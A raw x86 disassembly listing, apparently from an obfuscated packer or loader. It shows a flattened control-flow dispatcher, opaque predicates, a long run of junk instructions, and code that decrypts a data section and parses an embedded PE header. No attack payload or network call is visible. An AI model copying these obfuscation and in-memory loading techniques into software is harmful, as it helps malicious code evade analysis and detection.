or eax, esi
mov esi, 0xef88123e
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7858218f
and ecx, 0x87a7de70
or eax, ecx
mov ecx, eax
xor ecx, 0x48102181
xor eax, 0x1a69e30
and eax, 0x31ee9e3e
and ecx, 0xce1161c1
or ecx, eax
mov eax, ecx
xor eax, 0x4e006001
xor ecx, 0x1040182a
and ecx, 0x905119ea
and eax, 0x6faee615
or eax, ecx
mov ecx, eax
xor ecx, 0x90001882
xor eax, 0x27a8a210
and eax, 0x27f9a378
and ecx, 0xd8065c87
or ecx, eax
xor ecx, 0xd8065c87
setne dl
sete ah
cmp dword [0x492380], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
xor dl, 1
mov cl, ch
xor cl, al
or al, ah
xor al, 1
and cl, ch
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0xb1051eef
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, edi
jmp 0x41069b
mov eax, dword [ebp - 0x50]
mov eax, 0xadf7a962
jmp 0x402a30
mov eax, 0x8597c62b
jmp 0x402a30
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, 0x38591d3f
jmp 0x402a30
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x114], eax
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x4743ce62
mov eax, edx
and eax, 0x42434440
and ecx, edx
not edx
and edx, 0x5008a22
mov esi, ecx
not esi
and ecx, 0xcbb182b9
or eax, edx
mov edx, eax
xor edx, 0x42010000
xor eax, 0xbdbcbbbf
mov edi, eax
or eax, esi
and esi, 0x344e7d46
and edi, 0x344e7d46
and edx, 0x43018220
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4589b6cb
and ecx, 0xba764934
or eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xe4200546
xor edx, 0x2ca78a9
xor eax, 0x7981d161
and eax, edx
and ecx, 0xe4681547
and edx, 0x1b97eab8
or edx, ecx
mov edi, edx
xor edi, 0x1b97eab8
xor edx, 0x64000500
mov esi, edi
and esi, 0x7b4ba9c8
or edi, 1
and edx, 0x77148508
or esi, eax
not eax
and eax, 0x84b45636
and esi, 0x7b4ba9c9
or esi, eax
mov ecx, esi
not ecx
and esi, 0x77148508
mov eax, ecx
or ecx, edi
and eax, 0x88eb7af7
and edi, 0x88eb7af7
or esi, eax
or edx, edi
not ecx
xor edx, esi
or ecx, edx
mov edx, ecx
xor edx, 0x43d83ff
mov eax, ecx
and eax, 0x72c686a9
and edx, ecx
not ecx
and ecx, 0x8d397956
or eax, ecx
mov ecx, eax
xor eax, 0x4390156
xor ecx, 0x40001
mov esi, eax
or esi, 0xeac02800
and ecx, 0x4150015
and esi, 0xeae8abea
or ecx, esi
mov esi, edx
not esi
and edx, 0x15175415
or eax, esi
and esi, 0xeae8abea
or edx, esi
not eax
mov esi, 0x56be0cad
xor edx, ecx
or eax, edx
not edx
and edx, 0xfbc27c00
and eax, 0x43d83ff
or eax, edx
mov ecx, eax
not ecx
and eax, 0x6f26b4b6
mov edx, ecx
and edx, 0x90d94b49
or eax, edx
xor eax, 0x90d94b49
xor ecx, eax
test ecx, eax
setne cl
sete dl
cmp dword [0x492380], 0xa
mov ch, cl
setge al
setl ah
mov dh, al
and cl, ah
or ch, ah
xor dh, dl
xor ch, 1
and dh, al
and al, dl
xor dl, ah
or al, cl
and dl, ah
or al, dh
or dl, ch
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x1a542cec
cmovne ecx, esi
test dl, dl
not al
cmovne ecx, esi
test al, 1
mov eax, 0x1a542cec
cmove ecx, eax
mov eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x198]
mov dword [eax], ecx
mov eax, 0xb4c24945
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xe0805e61
mov edx, ecx
and edx, 0x7588086
and ecx, 0x2632126e
or esi, edx
mov edx, eax
and edx, 0x18272118
and eax, 0xd9cded91
xor esi, 0xe0805e61
or eax, ecx
or edx, esi
xor eax, 0xd9cded91
mov esi, edx
not esi
and edx, 0xe7d8dee6
and esi, 0x18272119
or edx, esi
mov esi, edx
not esi
and edx, 0x14797bcc
and esi, 0xeb868433
or edx, esi
mov esi, 0x171e645f
xor edx, 0x14797bcc
or eax, edx
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x492380], 0xa
setl ah
setge cl
or ah, dl
or al, cl
or cl, dl
mov dl, ah
xor dl, al
or al, ah
mov ah, cl
xor al, 1
xor ah, 1
or al, dl
mov edx, eax
and al, cl
xor dl, 1
or cl, dl
and dl, ah
or dl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xfa6b1bd0
cmovne edx, esi
test cl, 1
mov ecx, 0xfa6b1bd0
jmp 0x410033
mov eax, dword [ebp - 0x50]
mov eax, 0x9e2d785c
jmp 0x402a30
mov eax, dword [0x492384]
mov edi, 0x7c7c96
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x169b437e
mov eax, ecx
and eax, 0x109b0042
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x600433c
or eax, esi
mov esi, 0x1f8b44fd
xor eax, 0x109b0042
or eax, edx
not edx
and edx, 0xe964bc80
and eax, 0x169b437f
or eax, edx
mov edx, eax
not edx
and eax, 0xec347cad
and edx, 0x13cb8352
or eax, edx
xor eax, 0xec347cad
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9ce1e79d
and ecx, 0x631e1862
or eax, ecx
xor eax, 0x9ce1e79d
setne dl
sete ah
cmp dword [0x492380], 0xa
setl ch
mov al, ch
or dl, ch
xor al, ah
xor dl, 1
mov cl, al
and al, ch
xor cl, 1
or al, dl
and cl, ah
mov edx, ecx
xor cl, al
xor al, 1
xor dl, 1
mov dh, cl
or al, dl
xor dh, al
test cl, cl
cmovne edi, esi
test al, al
mov eax, 0x7c7c96
cmovne edi, eax
test dh, 1
cmove edi, esi
mov eax, edi
jmp 0x402a30
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x154], eax
mov eax, 0x84fecd2c
jmp 0x402a30
mov eax, dword [ebp - 0x50]
mov eax, 0xec1542a5
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xc
mov eax, 0x865566c0
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 1
mov edi, edx
mov esi, eax
and esi, 0x2424acad
and edi, 0xdbdb5352
and edx, 0x372515cd
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0xc8daea32
mov ebx, esi
not ebx
and esi, 0xdbdb5352
or ecx, edx
or eax, ebx
and ebx, 0x2424acad
or esi, ebx
not eax
xor esi, edi
mov edi, 0xd66712b7
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0xd24055e2
and esi, 0x2dbfaa1d
or esi, edx
mov edx, ecx
xor edx, 0x89aaa10
xor ecx, 0x372515cd
or eax, ecx
and ecx, 0xd24055e2
and edx, 0x2dbfaa1d
or edx, ecx
not eax
xor edx, esi
mov esi, 0xc9f10c09
or eax, edx
mov ecx, eax
not ecx
and eax, 0xc4cf263b
and ecx, 0x3b30d9c4
or eax, ecx
xor eax, 0xc4cf263b
setne al
sete dl
cmp dword [0x492380], 0xa
setl ch
setge ah
and ah, dl
and al, ch
mov cl, ch
or ch, dl
or al, ah
xor cl, dl
xor al, 1
mov edx, eax
or al, ch
xor dl, ch
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0xd66712b7
cmovne eax, edi
test cl, cl
cmove eax, edi
jmp 0x402a30
mov dword [ebp - 0xd8], 0
mov eax, 0xb18481cb
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x403e09
and eax, 0x3274024
mov edx, ecx
and edx, 0x88888180
or ecx, 0x8e09
or esi, edx
and ecx, 0x74108e5b
mov edx, esi
xor edx, 0x403000
xor esi, 0x74108052
or eax, ecx
and esi, 0x74108e5b
and edx, 0x88c83180
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x88c8bf89
and ecx, 0x77374076
or eax, ecx
mov ecx, eax
xor ecx, 0x68f11320
mov edx, eax
not edx
mov ebx, eax
and ebx, 0x1206ac08
andn esi, eax, ecx
or edx, 0x68f11320
and eax, 0xfffffffe
mov ecx, esi
not ecx
and esi, 0x5aa6be08
mov edi, ecx
or ecx, edx
and edi, 0xa55941f7
and edx, 0xa55941f7
or esi, edi
or ebx, edx
not ecx
xor ebx, esi
or ecx, ebx
mov edx, ecx
not edx
and ecx, 0x5301ffab
and edx, 0xacfe0054
or ecx, edx
xor ecx, 0x3bf0ec8a
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xc96fa433
and eax, 0x36905bcc
or ecx, eax
mov eax, ecx
xor eax, 0x1292022
xor ecx, 0x36905bcc
mov esi, ecx
and esi, 0xdc469419
and eax, 0x23b96be6
or eax, esi
mov esi, edx
not esi
and edx, 0x23b96be6
or ecx, esi
and esi, 0xdc469419
or edx, esi
not ecx
mov esi, 0x126334b5
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xa6396f14
mov edx, eax
and edx, 0x59c690eb
or ecx, edx
xor ecx, 0x59c690eb
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x492380], 0xa
setge ch
setl ah
mov dl, ch
and ah, al
or dl, al
inc al
and al, ch
mov ecx, edx
or al, ah
not cl
mov ah, al
and al, dl
xor ah, 1
and cl, ah
or ah, dl
mov edx, 0x62e6075
or cl, al
mov al, ah
xor al, cl
cmovne edx, esi
test ah, ah
mov eax, 0x62e6075
jmp 0x410698
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x124], eax
mov eax, 0xe6f5362b
jmp 0x402a30
mov eax, dword [ebp - 0x38]
mov eax, 0x9a3b977
jmp 0x402a30
mov eax, 0x7facdec1
jmp 0x402a30
mov eax, 0x9ffe4220
jmp 0x402a30
mov eax, 0xf70ee2e4
jmp 0x402a30
mov eax, dword [0x492384]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x409c11ff
and eax, 0xbf63ee00
or esi, eax
mov edx, esi
xor edx, 0x409c11ff
mov ecx, esi
xor esi, 0x6bdb2f72
xor ecx, 0xbf63ee00
mov eax, edx
or eax, 0xd4b8c172
mov edi, ecx
and esi, edx
and edi, 0x471488
or ecx, 1
and edx, 0x41866fa
mov ebx, eax
and ebx, 0xbb986a35
and ecx, 0xfbe79905
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x446795ca
or ecx, edx
or eax, ebx
and ebx, 0xbb986a35
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x2b473e8c
and esi, 0xd4b8c173
or eax, esi
mov edx, eax
not edx
and eax, 0x1aac4eee
mov esi, edx
and esi, 0xe553b111
or eax, esi
mov esi, ecx
xor esi, 0x1aa40804
xor ecx, 0x41866fa
or edx, ecx
and ecx, 0xe553b111
and esi, 0x1aac4eee
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0xdb135ce2
mov eax, edx
xor eax, 0xb5c5e3d5
mov ecx, edx
and ecx, 0x1445a144
and eax, edx
not edx
and edx, 0xa1804291
or ecx, edx
xor ecx, 0x1445a144
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x563d54e7
and ecx, 0xa9c2ab18
or eax, ecx
mov ecx, eax
xor ecx, 0x23908302
xor eax, 0x10004841
and ecx, 0x2f97838e
and eax, 0xd0687c71
or eax, ecx
xor eax, 0xd0687c71
sete dl
setne ah
cmp dword [0x492380], 0xa
setl al
setge ch
mov dh, al
and dl, ch
and al, ah
xor dh, ah
or al, dl
mov cl, dh
mov ah, al
xor cl, ch
not ah
and cl, dh
mov edx, ecx
and ah, cl
not dl
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xeb8789db
cmovne eax, esi
test dl, dl
mov edx, 0xeb8789db
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xaeaa6cd8
and ecx, 0x51559327
or eax, ecx
mov ecx, eax
xor eax, 0x51559327
xor ecx, 0xa2802c40
mov edi, eax
or edi, 0xf7f516b2
mov esi, eax
and esi, 0xf7f516b2
and ecx, 0xf290bd40
and eax, 0xd6f42be
mov edx, edi
not edx
or eax, ecx
and edi, 0x80ae94c
or edx, esi
xor eax, 0xd6f42be
mov esi, 0xc3074492
and edx, 0xf7f516b3
or edx, edi
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf5226444
and ecx, 0xadd9bbb
or ecx, eax
xor ecx, 0xf5226444
sete dl
setne ah
cmp dword [0x492380], 0xa
setl cl
mov al, cl
xor al, ah
not al
and al, ah
or ah, cl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
xor cl, dl
xor al, 1
or ah, dl
xor cl, 1
or al, ch
mov edx, ecx
or cl, ah
xor al, 1
xor dl, ah
xor cl, 1
or cl, dl
mov edx, eax
xor al, cl
or dl, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xe5365363
cmovne eax, esi
test dl, 1
mov edx, 0xe5365363
jmp 0x410e51
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xac62c558
and eax, 0x539d3aa7
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x440c000
xor esi, 0x539d3aa7
xor eax, 0x224140
mov ecx, esi
and ecx, 0xe8260fda
and edx, 0x17d9f025
or esi, 0x40001a02
and eax, 0x13364145
or edx, ecx
and esi, 0x6cc11a3a
mov ecx, edx
xor edx, 0xe8260fda
xor ecx, 0x17d9f025
or eax, esi
mov edi, edx
or edi, 0x2cc10038
mov ebx, ecx
and ebx, 0x8008a480
and edx, 0x5ecdf5c3
and edi, 0x6cc11a3a
or ebx, edi
mov edi, 0x2ed4b618
xor eax, ebx
mov esi, eax
not esi
and eax, 0x8930ec86
and esi, 0x76cf1379
or eax, esi
mov esi, ecx
and esi, 0xa1320a3c
and ecx, 1
or esi, edx
xor eax, 0x49385205
xor esi, 0x5ecdf5c2
or ecx, esi
mov esi, 0x40455da8
mov edx, ecx
not edx
and ecx, 0x7d4b8788
and edx, 0x82b47877
or ecx, edx
xor ecx, 0x7d4b8788
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xaac64146
and eax, 0x5539beb9
or eax, ecx
xor eax, 0xaac64146
sete cl
setne ah
cmp dword [0x492380], 0xa
setge dl
setl al
mov ch, dl
and al, ah
and ch, cl
xor cl, dl
and cl, dl
inc dl
or al, ch
and dl, ah
or al, cl
or dl, ch
mov ah, al
mov ecx, edx
not ah
xor cl, al
and al, dl
and cl, dl
xor dl, 1
and dl, ah
or al, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x2ed4b618
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, 1
cmovne eax, esi
jmp 0x402a30
mov eax, 0x885eaa
jmp 0x402a30
mov eax, 0xcf408e0f
jmp 0x402a30
mov eax, 0x26d3c7c8
jmp 0x402a30
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xdc]
mov dword [eax], ecx
push 0x4c000
push section..data
vzeroupper
call section..text
add esp, 8
mov eax, dword [ebp - 0x48]
mov dword [eax], section..data
imul edi
bswap ebx
imul esi
ror edi, 0xb
rcr esi, 0x9c
not edi
or edi, 0x76
and eax, 0x96
ror edi, 0x83
rol ebx, 0xa8
bswap edi
imul edx
inc edi
neg esi
mov edi, 0xac
mov esi, 0x12
mov edx, 0xb4
and eax, 2
bswap edi
dec edi
imul ebx
neg ebx
not edx
neg ebx
neg edi
imul edx
imul ebx
not ebx
dec eax
not edx
or edi, 0x1c
dec eax
rol edi, 0xa3
or edi, 0xc3
or edi, 0x17
bswap eax
rcl ebx, 0x2c
inc edx
sub ebx, 0xfd
bswap esi
rcr esi, 0xd1
rcl ebx, 0x3a
neg edi
rcl edi, 0xfe
sub edx, 0x3a
neg edi
rcr eax, 0x2a
bswap eax
imul eax
dec esi
sbb edi, 0x71
neg edi
bswap eax
and esi, 0x51
ror edi, 0xc2
add edx, 0xa4
mov ebx, 0xa2
rcr esi, 0x90
inc esi
dec esi
ror ebx, 0x11
sub eax, 0x91
dec esi
rcl edi, 0x41
dec eax
inc edx
and ebx, 7
or edx, 0x17
imul eax
imul edx
rcl edx, 0xc4
not eax
imul eax
rol edi, 0xf
or esi, 0x47
imul eax
imul esi
or eax, 0x2b
and edi, 0x92
inc edx
inc eax
dec edi
sbb eax, 0xf7
neg edi
ror edx, 0xc6
dec eax
inc esi
bswap edi
ror eax, 0x6e
dec esi
rcl esi, 0x57
dec esi
dec esi
bswap edx
rcl edi, 0xe0
imul edx
rol ebx, 0xaf
not ebx
rol eax, 0x9f
and eax, 1
sbb ebx, 0x44
dec esi
add ebx, 0x5c
imul ebx
bswap edi
dec eax
imul edx
rcr edi, 0x3b
sub edx, 0xd9
neg ebx
inc edx
sub esi, 0x94
sub edi, 0xb2
not eax
ror ebx, 0x45
inc edx
bswap eax
dec esi
inc edx
mov edi, 0xcc
rcr esi, 0x30
neg ebx
ror edx, 0xb6
rcl eax, 0x6d
rol ebx, 0xcd
rcr ebx, 0x76
inc edi
inc edi
rcl esi, 0xc0
bswap edx
bswap ebx
imul eax
or esi, 0xb4
not edx
rcr esi, 0x69
not esi
neg esi
rol edi, 0x9a
sub ebx, 0xb2
rol edx, 0xad
inc edi
not edi
not edi
rcr esi, 0xbb
neg esi
bswap edx
or edi, 0x42
bswap ebx
not edi
add edi, 0xb9
not esi
neg edx
sbb eax, 0xf3
not eax
bswap edi
ror edx, 5
not eax
bswap edi
or esi, 0xf9
ror edx, 0x69
rol edx, 0x6b
add eax, 0xd5
dec ebx
add edi, 0x8a
rcr esi, 0x60
rol edi, 0xd5
neg eax
ror edx, 0xc6
ror esi, 0x38
inc edx
or esi, 0xf0
add edi, 0xd5
inc ebx
mov eax, 0xd7
not esi
imul eax
imul eax
imul eax
sbb edx, 0x3a
rcr esi, 0x2e
not esi
not edx
neg esi
and ebx, 0xdf
dec esi
neg esi
rcr edx, 0x40
or eax, 0x5d
and esi, 0x6e
bswap ebx
rcr edi, 0x9c
ror edx, 0x6e
mov edi, 0x1e
bswap esi
rcl edx, 0xca
not edx
rcl edi, 0x15
rol esi, 0xc9
sub eax, 0x3b
neg ebx
inc ebx
sbb edx, 0x1f
neg eax
bswap edx
rcl esi, 0x32
dec eax
not ebx
rcr esi, 0xf8
rcr ebx, 5
bswap edi
neg eax
rcr eax, 0x5b
neg esi
and ebx, 0x82
dec edx
mov edi, 0xc8
add ebx, 0x68
or eax, 0x4c
dec edi
rcl edi, 0x6f
not esi
dec esi
imul eax
imul eax
imul edi
sub esi, 0xc4
not eax
bswap edx
imul edx
add eax, 0xa3
imul ebx
imul ebx
dec eax
sub esi, 0xef
sub eax, 0x39
bswap ebx
inc eax
rol eax, 0xbe
dec edi
rol esi, 0x45
neg edx
imul edi
neg esi
imul eax
and esi, 0xd3
rcl edx, 0x48
and edx, 0xb2
rcl eax, 0xb6
imul ebx
not esi
inc ebx
dec esi
mov edi, 0xe6
ror eax, 0x92
not esi
and edx, 0x37
sbb ebx, 0xf2
ror ebx, 0xce
or edx, 0x53
inc esi
imul ebx
ror edx, 0x78
imul edx
mov edi, 0xf1
or ebx, 0x77
imul eax
inc ebx
rcr eax, 0xfc
inc edi
sbb esi, 0x25
dec ebx
add edx, 0x8e
inc edx
ror ebx, 0x7f
and edx, 0xc1
ror edx, 0x2b
ror esi, 0xc6
bswap edx
sbb ebx, 0x53
not ebx
bswap ebx
ror edi, 0x7d
sub ebx, 0x3f
add edx, 0x63
rol edi, 0x82
not eax
inc edi
not eax
sub edx, 0xb5
neg eax
dec eax
inc esi
sub edx, 0x2b
rcr edx, 0x32
rcr edi, 0xbb
imul ebx
add ebx, 0xf6
imul eax
neg eax
sbb ebx, 0x35
dec eax
imul eax
and edi, 0xa1
neg eax
sbb ebx, 7
or edi, 0x93
sbb esi, 0xa1
bswap esi
and edx, 0x53
rcl eax, 0xde
ror ebx, 0x74
rol esi, 0x3d
not edi
sub esi, 0xf8
add edi, 0x85
neg eax
bswap edi
inc edx
add ebx, 0xe9
rcl edi, 0x79
not esi
neg ebx
rcl edx, 0x75
ror ebx, 0x98
inc eax
dec eax
and ebx, 0xd9
imul ebx
and eax, 9
ror ebx, 0x85
not edi
not edx
sub edi, 0x1c
rol ebx, 0x1d
and ebx, 0xa8
add ebx, 0x3d
inc ebx
or ebx, 0x9f
neg ebx
rol edi, 0x9d
dec eax
bswap edi
imul edx
add eax, 0x4a
sub eax, 0x75
neg ebx
not ebx
inc edi
not eax
and esi, 0x5f
not ebx
inc ebx
sub edx, 0x2c
neg edx
rol edx, 0x7c
neg edx
rol esi, 0x85
not edx
bswap eax
imul eax
rol eax, 0x14
imul edx
add edi, 0xc1
imul eax
rol edi, 0xa5
bswap ebx
inc edx
and edi, 0xfc
or esi, 0xd4
rol ebx, 0x72
bswap edi
imul esi
not ebx
dec eax
or esi, 0xf0
dec edx
mov edx, 0x77
inc edx
and eax, 0xcc
inc esi
not eax
sbb eax, 0xe
neg eax
sub edi, 0x65
not esi
and ebx, 0xca
rcl ebx, 0x93
not edi
imul edi
imul edi
bswap ebx
not edi
ror edx, 0x7e
sbb esi, 0x66
not edi
imul ebx
bswap edx
sbb edi, 0xcb
not eax
neg edi
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, 0xed93fd64
jmp 0x402a30
mov eax, dword [0x492384]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0xfffffffe
mov edx, ecx
and edx, 1
and ecx, 0xd7ae1ec0
or edx, esi
mov esi, eax
and esi, 0x2851e13f
or ecx, esi
mov esi, edx
not esi
and edx, 0xd7ae1ec0
or eax, esi
and esi, 0x2851e13f
or edx, esi
not eax
mov esi, 0xd4875442
xor edx, ecx
or eax, edx
mov edx, eax
xor edx, 0x1f2b83d8
mov ecx, eax
and ecx, 0x50180d0
and edx, eax
not eax
and eax, 0x1a2a0308
or ecx, eax
xor ecx, 0x50180d0
or ecx, edx
not edx
and edx, 0xe0d47c27
and ecx, 0x1f2b83d8
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x939cb9fd
and eax, 0x6c634602
or ecx, eax
mov eax, ecx
xor eax, 0x9018b048
xor ecx, 0x6c420002
and ecx, 0x6fc609b7
and eax, 0x9039f648
or eax, ecx
xor eax, 0x9039f648
sete al
setne dl
cmp dword [0x492380], 0xa
setge ah
setl cl
xor al, ah
xor cl, dl
and al, ah
mov edx, ecx
xor al, 1
xor dl, 1
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ah, al
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xa04f839e
cmovne edx, esi
test al, al
mov esi, 0xa04f839e
jmp 0x40f7d1
mov eax, 0xef96fe29
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
not eax
or edx, 0xdf5aa95f
mov edi, eax
mov esi, edx
and esi, 0xd8f4776a
and edi, 0x20010080
and eax, 0xce7978f
or edi, esi
mov esi, ecx
xor esi, 0x20a556a0
and esi, ecx
mov ebx, esi
not ebx
and esi, 0x270b8895
or edx, ebx
and ebx, 0xd8f4776a
or esi, ebx
not edx
xor esi, edi
or edx, esi
not esi
and esi, 0xdf5aa95e
and edx, 0x20a556a1
or edx, esi
mov esi, edx
not esi
and edx, 0x464a7b5a
and esi, 0xb9b584a5
or edx, esi
mov esi, edx
xor esi, 0x442130a
xor edx, 0xb9b584a5
mov edi, edx
or edx, ecx
and ecx, 0xf3186870
and edi, 0xf3186870
and esi, 0xce7978f
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xd069a79
or edx, eax
xor edx, 0xffffffff
setne cl
sete dl
cmp dword [0x492380], 0xa
setge ch
setl ah
mov al, ch
and ah, cl
xor al, dl
and al, ch
and ch, dl
or ch, ah
mov cl, ch
or al, ch
xor cl, 1
mov edx, eax
mov ah, cl
and ah, ch
xor ah, 1
or ah, ch
xor ah, 1
or ah, cl
or cl, al
xor al, 1
and dl, al
mov ch, al
xor dl, 1
xor ch, dl
or dl, al
mov al, ah
xor dl, 1
xor al, 1
or dl, ch
and al, dl
xor dl, 1
and dl, ah
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xce0211e4
cmovne esi, eax
test cl, cl
mov eax, 0xd069a79
jmp 0x40f610
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x3e287b58
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xc1d784a7
and ecx, 0x3e287b58
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x76b0722e
and ecx, 0x19add3ca
mov eax, esi
and esi, 0x894f8dd1
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xe6522c35
or ecx, esi
mov esi, edx
xor esi, 0x10a0520a
xor edx, 0x894f8dd0
or eax, edx
and edx, 0xe6522c35
and esi, 0x19add3ca
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0xf66dbfd3
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xff2cb54e
and ecx, 0xd34ab1
or ecx, edx
xor ecx, 0xff2cb54e
xor eax, ecx
test eax, ecx
sete dl
setne al
cmp dword [0x492380], 0xa
mov ch, dl
setge ah
mov cl, ah
and ch, ah
xor al, ah
or cl, dl
xor dl, ah
and dl, ah
xor cl, 1
mov ah, dl
xor dl, al
xor al, 1
or cl, ch
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x18962c59
cmovne eax, esi
test dl, 1
mov edx, 0x18962c59
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0xe08394ec
jmp 0x402a30
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0xb4], ax
mov eax, 0xbb7c116
jmp 0x402a30
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, 0xfa58b7c
jmp 0x402a30
cmp byte [ebp - 0x79], 0
mov eax, 0xac8acb2b
mov ecx, 0x5f1c8cc
cmovne eax, ecx
jmp 0x402a30
mov eax, 0x909f2f8a
jmp 0x402a30
mov eax, dword [ebp - 0x44]
mov dword [eax], 2
mov eax, dword [0x492384]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x2365b271
mov ecx, edx
and ecx, 0x37dfd397
and eax, edx
not edx
and edx, 0xc8202c68
or ecx, edx
mov edx, ecx
xor ecx, 0x202060
xor edx, 0x1010210
mov esi, ecx
or esi, 0x9c100c8c
and edx, 0x1012250
and esi, 0xbe749cad
or edx, esi
mov esi, eax
not esi
and eax, 0x418b6352
or ecx, esi
and esi, 0xbe749cad
or eax, esi
not ecx
xor eax, edx
or ecx, eax
not eax
and eax, 0xdc9a4d8e
and ecx, 0x2365b271
or ecx, eax
mov eax, ecx
xor eax, 0x79f88bc6
mov edx, ecx
and edx, 0x98cece86
and eax, ecx
not ecx
and ecx, 0x67313179
or edx, ecx
mov ecx, edx
xor ecx, 0x98cece86
xor edx, 0x1200108
mov esi, ecx
and esi, 0x79f88bc6
and edx, 0x99ec050e
or eax, esi
mov esi, eax
not esi
and eax, 0x6af95cde
and esi, 0x9506a321
or eax, esi
mov esi, ecx
and esi, 0x6613faf1
and ecx, 1
or esi, edx
mov edx, eax
xor edx, 0x10004019
xor eax, 0xecfe28e6
xor esi, 0x99ec050f
and edx, 0x749868bb
or ecx, esi
mov esi, eax
and esi, 0x8b679744
or edx, esi
mov esi, ecx
not esi
or eax, ecx
and ecx, 0x8b679744
and esi, 0x749868bb
not eax
or esi, ecx
xor esi, edx
or eax, esi
